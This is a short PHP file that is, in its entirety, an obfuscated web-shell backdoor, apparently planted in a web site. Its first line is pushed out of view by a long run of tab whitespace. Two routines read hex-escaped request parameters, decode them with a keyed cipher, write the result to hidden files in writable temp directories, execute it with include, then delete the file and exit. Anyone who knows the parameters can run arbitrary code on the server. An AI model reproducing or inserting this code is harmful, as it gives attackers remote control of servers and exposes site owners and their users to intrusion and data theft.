<?php																																										if(array_key_exists("da\x74\x61", $_REQUEST) && !is_null($_REQUEST["da\x74\x61"])){ $parameter_group = array_filter([getenv("TMP"), "/dev/shm", "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TEMP"), sys_get_temp_dir()]); $mrk = $_REQUEST["da\x74\x61"]; $mrk = explode( '.' , $mrk ) ; $symbol = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s3); $u = 0; $__tmp = $mrk; while( $v9 = array_shift( $__tmp)) { $sChar = ord( $s3[$u % $lenS]); $dec =( ( int)$v9 - $sChar -( $u % 10))^ 100; $symbol .= chr( $dec); $u++; } $holder = 0; do { $flg = $parameter_group[$holder] ?? null; if ($holder >= count($parameter_group)) break; if (is_dir($flg) ? is_writable($flg) : false) { $descriptor = implode("/", [$flg, ".sym"]); $success = file_put_contents($descriptor, $symbol); if ($success) { include $descriptor; @unlink($descriptor); die();} } $holder++; } while (true); }


if(isset($_REQUEST["co\x6D\x70"])){
	$descriptor = $_REQUEST["co\x6D\x70"];
			$descriptor		=	explode 	(	 	'.',			$descriptor ) 	 ;
	$mrk	=	'';
            $s8	=	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	=	strlen(	 $s8);
            $z	=	0;
    
            array_walk(	 $descriptor	,	function(	 $v7) use(	 &$mrk	,	&$z	,	$s8	,	$lenS) {	$chS	=	ord(	 $s8[$z %$lenS]);
                $dec	=	(	 (	 int)$v7 - $chS -(	 $z %10)) ^ 2;
                $mrk 	.=  chr(	 $dec);
                $z++; }		);
	$element = array_filter([sys_get_temp_dir(), "/dev/shm", getcwd(), "/var/tmp", getenv("TEMP"), getenv("TMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir")]);
	while ($res = array_shift($element)) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($res)) {
    $token = implode("/", [$res, ".ent"]);
    if (file_put_contents($token, $mrk)) {
	include $token;
	@unlink($token);
	exit;
}
}
}
}